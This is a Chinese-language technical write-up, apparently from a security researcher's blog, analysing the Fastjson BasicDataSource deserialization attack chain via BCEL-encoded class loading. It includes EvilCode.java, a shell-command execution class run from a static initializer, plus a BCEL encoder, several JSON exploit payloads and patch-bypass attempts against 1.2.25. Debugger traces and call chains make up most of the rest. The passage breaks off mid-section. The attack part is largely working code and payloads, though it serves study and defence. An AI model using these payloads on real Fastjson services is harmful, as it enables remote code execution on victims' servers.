标题: Fastjson BasicDataSource攻击链简介
创建: 2020-05-12 16:29 更新: 2020-11-03 14:42 链接: https://scz.617.cn/web/202005121629.txt
目录:
☆ 简介
☆ org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链
0) FastjsonDeserialize2.java
1) EvilCode.java
2) BCELEncode.java
3) BCELDecode.java
4) Fastjson_BasicDataSource.json
5) 简化版调用关系
6) 为什么FastjsonDeserialize未能得手
7) 1.2.25的修补方案
7.1) Fastjson_BasicDataSource_bad_0.json
7.2) Fastjson_BasicDataSource_bad_1.json
7.3) Fastjson_BasicDataSource_bad_2.json
7.4) Fastjson_BasicDataSource_bad_3.json
8) org.apache.tomcat.dbcp.dbcp2.BasicDataSource
8.1) Fastjson_BasicDataSource2.json
9) 通用性更好的PoC
9.1) Fastjson_BasicDataSource3.json
9.2) 测试
9.3) 简化版调用关系
10) 转储反序列化过程中动态生成的类
11) 通过$ref指定被触发的getter
11.1) Fastjson_BasicDataSource4.json
11.2) 测试
11.4) 简化版调用关系
11.5) Fastjson_BasicDataSource5.json
12) Fastjson_BasicDataSource6_bad.json
13) Fastjson_BasicDataSource7.json (33~36可利用)
13.1) 为什么33~36可利用
13.2) 为什么37不可利用
14) Fastjson_BasicDataSource8.json (36~47可利用)
☆ 小结
☆ 近几年为安全工程师不会饿死做出突出贡献的几个东西
☆ 参考资源
☆ 简介
这条攻击链用到"org.apache.tomcat.dbcp.dbcp.BasicDataSource"、 "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"或其他什么等价类。比较老,只 能用于Fastjson 1.2.24及更低版本。
Fastjson攻击链更多是用"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" 和"com.sun.rowset.JdbcRowSetImpl",后者能一直用到Fastjson 1.2.47。
本来太老的攻击链没打算深究,后来觉得其中用到的BCEL编码有点意思,就调试跟踪 了一下。
95%的人几年前就学过这招,如果仍有兴趣,可直接看"简化版调用关系"和"小结"。
2020.10.19,微博ID为"香依香偎"的网友反馈了个问题,指出[25,32]、48及以上版 本无法利用BasicDataSource,但[33,47]可以利用,而不是之前想像的25及以上版本 都无法利用。
☆ org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链
参[73],后面的PoC用到了如下库:
tomcat-dbcp-7.0.99.jar dbcp-6.0.53.jar tomcat-dbcp-9.0.20.jar tomcat-juli-9.0.20.jar
0) FastjsonDeserialize2.java
/ * javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java / import java.io.; import java.nio.file.; import java.nio.charset.*; import com.alibaba.fastjson.JSON;
public class FastjsonDeserialize2 { private static String readFile( String path, Charset encoding ) throws IOException { byte[] buf = Files.readAllBytes( Paths.get( path ) ); return new String( buf, encoding ); }
public static void main ( String[] argv ) throws Exception
{
/*
* StandardCharsets.US_ASCII
*/
String str = readFile( argv[0], StandardCharsets.UTF_8 );
Object obj = JSON.parseObject( str );
}
}
1) EvilCode.java
/ * javac -encoding GBK -g EvilCode.java / import java.io.*;
public class EvilCode { static { String[] argv = new String[] { "0", "/bin/touch /tmp/scz_is_here" };
try
{
Operator( argv );
}
catch ( Exception e )
{
e.printStackTrace( System.err );
}
}
public EvilCode ()
{
System.out.println( "scz is here" );
}
public EvilCode ( Object[] argv ) throws Exception
{
Operator( argv );
}
public static void Operator ( Object[] argv ) throws Exception
{
int opnum = Integer.parseInt( ( String )argv[0] );
String cmd;
switch ( opnum )
{
case 0 :
cmd = ( String )argv[1];
Operator_0( cmd );
break;
case 1 :
cmd = ( String )argv[1];
Operator_1( cmd );
break;
default:
Operator_unknown();
break;
}
}
private static void Operator_0 ( String cmd ) throws Exception
{
Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } );
}
private static void Operator_1 ( String cmd ) throws Exception
{
String ret = PrivateExec( cmd );
throw new InvalidClassException( "\n[\n" + ret + "]\n" );
}
private static void Operator_unknown () throws Exception
{
throw new InvalidClassException( "\n[\nUnknown opnum\n]\n" );
}
private static String PrivateExec ( String cmd ) throws IOException
{
ProcessBuilder pb = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true );
Process p = pb.start();
StringBuilder ret = new StringBuilder( 256 );
BufferedReader in = new BufferedReader( new InputStreamReader( p.getInputStream() ) );
String line;
while ( true )
{
line = in.readLine();
if ( line == null )
{
break;
}
ret.append( line ).append( "\n" );
}
return( ret.toString() );
}
}
EvilCode没必要写成这样,我是顺手挪用别处的代码,你完全可以精简之。
2) BCELEncode.java
/ * javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java * java BCELEncode EvilCode.class / import java.io.*; import java.nio.file.Files; import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELEncode { public static void main ( String[] argv ) throws Exception { String filename = argv[0]; byte[] buf = Files.readAllBytes( ( new File( filename ) ).toPath() ); / * public static String encode(byte[] bytes, boolean compress) / String str = Utility.encode( buf, true ); String bcel = "$$BCEL$$" + str; System.out.println( bcel ); } }
$ java BCELEncode EvilCode.class $$BCEL$$$l$8b...$A$A
Utility.encode()的输出不包含"$$BCEL$$"前缀,需要自己增加。
3) BCELDecode.java
/
* javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java
* java BCELDecode
public class BCELDecode { public static void main ( String[] argv ) throws Exception { String bcel = argv[0]; String filename = argv[1]; int index = bcel.indexOf( "$$BCEL$$" ); / * if ( !bcel.startsWith( "$$BCEL$$" ) ) / if ( index < 0 ) { return; } String str = bcel.substring( index + 8 ); / * public static byte[] decode(String s, boolean uncompress) / byte[] buf = Utility.decode( str, true ); Files.write ( ( new File( filename ) ).toPath(), buf, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING } ); } }
$ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class
BCELDecode与攻击链无关,仅仅是因为前面有个负责编码的,出于程序员的本能反应, 顺手写个负责解码的,保持对称性。
4) Fastjson_BasicDataSource.json
{ '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }
driverClassName属性的值就是BCELEncode输出的内容。
有人喜欢在PoC中用代码构造上述json内容,我的习惯是将各组件按自己的理解拆分, 以保持边界感。没有什么特别优势,每个人的学习习惯不同,莫来我处装X。
java \ -cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json
这两条命令都能得手。
调试FastjsonDeserialize2:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() monitor wherei
依次命中上面三个断点。
[1] org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader (BasicDataSource.java:256), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue (FieldDeserializer.java:96), pc = 267 [7] com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField (DefaultFieldDeserializer.java:83), pc = 265 [8] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField (JavaBeanDeserializer.java:773), pc = 373 [9] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:600), pc = 1,872 [10] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest (JavaBeanDeserializer.java:922), pc = 8 [11] com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze (null), pc = 3,810 [12] com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:184), pc = 5 [13] com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:368), pc = 1,089 [14] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,327), pc = 222 [15] com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1,293), pc = 2 [16] com.alibaba.fastjson.JSON.parse (JSON.java:137), pc = 20 [17] com.alibaba.fastjson.JSON.parse (JSON.java:128), pc = 4 [18] com.alibaba.fastjson.JSON.parseObject (JSON.java:201), pc = 1 [19] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11
stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass
[1] com.sun.org.apache.bcel.internal.util.ClassLoader.createClass (ClassLoader.java:199), pc = 0 [2] com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass (ClassLoader.java:152), pc = 81 [3] java.lang.ClassLoader.loadClass (ClassLoader.java:351), pc = 3 [4] java.lang.Class.forName0 (native method) [5] java.lang.Class.forName (Class.java:348), pc = 49 [6] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36 [7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30 [8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1 [9] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [10] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [11] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [12] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [13] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16 [14] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5 [15] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50 [16] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313 [17] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4 [18] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18 [19] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11
stop in EvilCode.
这个断点不会命中,原因见后面的调用栈回溯。
stop in java.lang.Runtime.exec(java.lang.String[])
[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21
[3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44
[4] $$BCEL$$$l$8b...$A$A.
stop in java.io.PrintStream.println(java.lang.String)
[1] java.io.PrintStream.println (PrintStream.java:805), pc = 0
[2] $$BCEL$$$l$8b...$A$A.
5) 简化版调用关系
JSON.parseObject // 8u232+1.2.24+7.0.99
JSON.parse // JSON:201
JSON.parse // JSON:128
DefaultJSONParser.parse // JSON:137
DefaultJSONParser.parse // DefaultJSONParser:1293
DefaultJSONParser.parseObject // DefaultJSONParser:1327
ParserConfig.getDeserializer // DefaultJSONParser:367
// deserializer = config.getDeserializer(clazz)
// clazz等于"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
ParserConfig.getDeserializer // ParserConfig:312
ParserConfig.createJavaBeanDeserializer // ParserConfig:461
ASMDeserializerFactory.createJavaBeanDeserializer
// ParserConfig:591
ASMDeserializerFactory.defineClassPublic
// ASMDeserializerFactory:80
// 第二形参b就是动态生成的类的字节码
// 动态生成的类名形如
// com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name 是否动用过BCEL编码,如果是,class_name就不只是类名,还包含类的字节码的BCEL 编码。util.ClassLoader会从类名中析取字节码并加载之,这可真是骚操作,太邪恶 了。
参看:
https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/lang/Class.java
public static Class<?> forName(String className)
Invoking this method is equivalent to:
Class.forName(className, true, currentLoader)
public static Class<?> forName(String name, boolean initialize, ClassLoader loader)
The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
initialize为true时,会执行静态代码块。
6) 为什么FastjsonDeserialize未能得手
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource.json
上述命令使用FastjsonDeserialize,未能得手,不抛异常,静默结束。
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
FastjsonDeserialize调的是:
JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )
FastjsonDeserialize2调的是:
JSON.parseObject( str )
调试后确认前者内部不会调用JSON.toJSON(),从而无法触发EvilCode.
7) 1.2.25的修补方案
java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource.json
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)
"org.apache.tomcat"、"com.sun."打头的全进黑名单。
1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链,各有原因。
7.1) Fastjson_BasicDataSource_bad_0.json
{ '@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{, 'driverClassLoader': { '@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }
原始意图是进行补丁绕过,但1.2.25未能得手。
java \ -Dfastjson.parser.autoTypeSupport=true \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_0.json
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.org.apache.bcel.internal.util.ClassLoader;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:869) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:723) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:177) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)
从1.2.25开始有一个无法绕过的检查:
/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 866行,这段检查完全是针对BasicDataSource利用链而来 / if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); }
7.2) Fastjson_BasicDataSource_bad_1.json
[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{ }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ]
原始意图是进行补丁绕过,但1.2.25未能得手。
java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_1.json
Exception in thread "main" com.alibaba.fastjson.JSONException: type not match. [com.sun.org.apache.bcel.internal.util.ClassLoader -> java.lang.ClassLoader at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:876) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:1157) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1320) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)
/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType / if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { / * 876行,此时expectClass等于"java.lang.ClassLoader",clazz等于 * "[com.sun.org.apache.bcel.internal.util.ClassLoader",后者是数组类型。 / throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } }
7.3) Fastjson_BasicDataSource_bad_2.json
{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }
原始意图是进行补丁绕过,但1.2.25未能得手。
java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_2.json
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.bcel.internal.util.ClassLoader at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:822) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:552) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:188) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:62) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:767) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:594) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:916) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_BasicDataSource.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:517) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128) at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)
/ * 1.2.25 * * com.alibaba.fastjson.parser.ParserConfig.checkAutoType * * 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时,虽然 * autoTypeSupport为false,但expectClass不为null,等于 * "java.lang.ClassLoader",下面的黑名单检查无法绕过 / if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } }
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
/ * 822行 / throw new JSONException("autoType is not support. " + typeName); } } }
7.4) Fastjson_BasicDataSource_bad_3.json
[ { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"java.lang.Class", 'val':'com.sun.org.apache.bcel.internal.util.ClassLoader' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } ]
原始意图是进行补丁绕过,但1.2.25未能得手。
java \ -cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource_bad_3.json
失败,原因同上。
8) org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BasicDataSource所在package变了一点点,攻击原理同前。
8.1) Fastjson_BasicDataSource2.json
{ '@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' }
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource2.json
9) 通用性更好的PoC
前面各小节写完后,发现存于待读队列中的KINGX的大作[76],我应该先读他这篇的, 又多走了不少弯路。文中有个小八卦,应该是TSRC在2017年捕获到在野利用,其中有 一个通用性更好的PoC,攻防双方都很厉害,佩服。
9.1) Fastjson_BasicDataSource3.json
这是KINGX所说的通用性更好的PoC。
{ { '@type':"com.alibaba.fastjson.JSONObject", 'a': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }:'b' }
反序列化时首先得到一个JSONObject对象,然后将该JSONObject对象置于"JSON Key" 的位置。Fastjson在反序列化时会对"JSON Key"自动调用JSON.toString()。 JSONObject是Map的子类,执行toString()时会将当前对象转为字符串形式,会提取 类中所有Field,自然会执行相应的getter方法,以此调用:
org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection()
为完成攻击,必须调用上述函数。前面都是KINGX给的解释性说明,不关我事。
JSON.parse()、JSON.parseObject()有很多重载版本,其行为各不相同。网上有一些 关于它们的小结,比如哪些getter会被调用。但我要说一句,这些小结你可以领会其 大意,但绝不要当成真理,我看到的所有这类小结都不严谨,以偏概全,某些情况下 会误导你。
不说各种重载版本JSON.parse()、JSON.parseObject()之间的区别,单说网上常提的 "符合特定条件的getter会被调用"。参看:
com.alibaba.fastjson.util.JavaBeanInfo.build()
那些所谓的特定条件都在这个函数中体现。建议看fastjson--sources.jar,如果用 JD-GUI直接看fastjson-.jar,没有注释。参[33]。
在JavaBeanInfo.build()语境下,BasicDataSource.getConnection()不符合特定条 件。而Fastjson_BasicDataSource3.json的写法增大了此getter被调用的可能性,这 种写法不局限于BasicDataSource攻击链,诸君细品。
检查1.2.68的"DefaultJSONParser:472",把key.toString()的逻辑删掉了,上述技 巧失效。未查最早删除这段逻辑的版本是哪个。
9.2) 测试
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json
java \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize2 Fastjson_BasicDataSource3.json
与使用Fastjson_BasicDataSource.json时不同,上述两条命令均得手。
调试FastjsonDeserialize:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \ FastjsonDeserialize Fastjson_BasicDataSource3.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassLoader stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.setDriverClassName stop in org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection() stop in com.sun.org.apache.bcel.internal.util.ClassLoader.createClass stop in java.lang.Runtime.exec(java.lang.String[]) stop in java.io.PrintStream.println(java.lang.String) monitor wherei
9.3) 简化版调用关系
JSON.parseObject // 8u232+1.2.24+7.0.99
JSON.parseObject // JSON:422
JSON.parseObject // JSON:452
JSON.parseObject // JSON:370
JSON.parseObject // JSON:270
JSON.parseObject // JSON:307
DefaultJSONParser.parseObject // JSON:339
// parseObject(Type type, Object fieldName)
JavaObjectDeserializer.deserialze // DefaultJSONParser:639
DefaultJSONParser.parse // JavaObjectDeserializer:45
DefaultJSONParser.parseObject // DefaultJSONParser:1327
// parseObject(Map object, Object fieldName)
DefaultJSONParser.parse // DefaultJSONParser:296
// key = parse()
// 1.2.68的行号是285
DefaultJSONParser.parse // DefaultJSONParser:1293
DefaultJSONParser.parseObject // DefaultJSONParser:1327
MapDeserializer.deserialze // DefaultJSONParser:368
DefaultJSONParser.parseObject // MapDeserializer:28
DefaultJSONParser.parseObject // DefaultJSONParser:1081
DefaultJSONParser.parseObject // DefaultJSONParser:1076
DefaultJSONParser.parseObject // DefaultJSONParser:517
JavaBeanDeserializer.deserialze // DefaultJSONParser:368
JavaBeanDeserializer.parseRest // JavaBeanDeserializer:184
JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922
JavaBeanDeserializer.parseField // JavaBeanDeserializer:600
DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773
FieldDeserializer.setValue // DefaultFieldDeserializer:83
BasicDataSource.setDriverClassLoader
// FieldDeserializer:96
BasicDataSource.setDriverClassName
// 攻击者可控
JSON.toString // DefaultJSONParser:436
// key = (key == null) ? "null" : key.toString()
// 1.2.68的行号是472,代码已经改成
// if (key == null) { key = "null"; }
// 把key.toString()的逻辑删掉了
JSON.toJSONString // JSON:793
JSONSerializer.write // JSON:799
MapSerializer.write // JSONSerializer:275
BasicDataSource.getConnection // MapSerializer:251
BasicDataSource.createDataSource // BasicDataSource:1103
BasicDataSource.createConnectionFactory // BasicDataSource:1467
Class.forName // BasicDataSource:1559
// 第二形参initialize等于true
Class.forName0 // java.lang.Class:348
java.lang.ClassLoader.loadClass
util.ClassLoader.loadClass // java.lang.ClassLoader:351
// com.sun.org.apache.bcel.internal.util.ClassLoader
if (class_name.indexOf("$$BCEL$$") >= 0)
// util.ClassLoader:151
util.ClassLoader.createClass // util.ClassLoader:152
index = class_name.indexOf("$$BCEL$$")
// util.ClassLoader:199
real_name = class_name.substring(index + 8)
// util.ClassLoader:200
Utility.decode // util.ClassLoader:204
// com.sun.org.apache.bcel.internal.classfile.Utility
// BCEL解码
ClassParser.
10) 转储反序列化过程中动态生成的类
在调试栈回溯中可能看到形如这样的类:
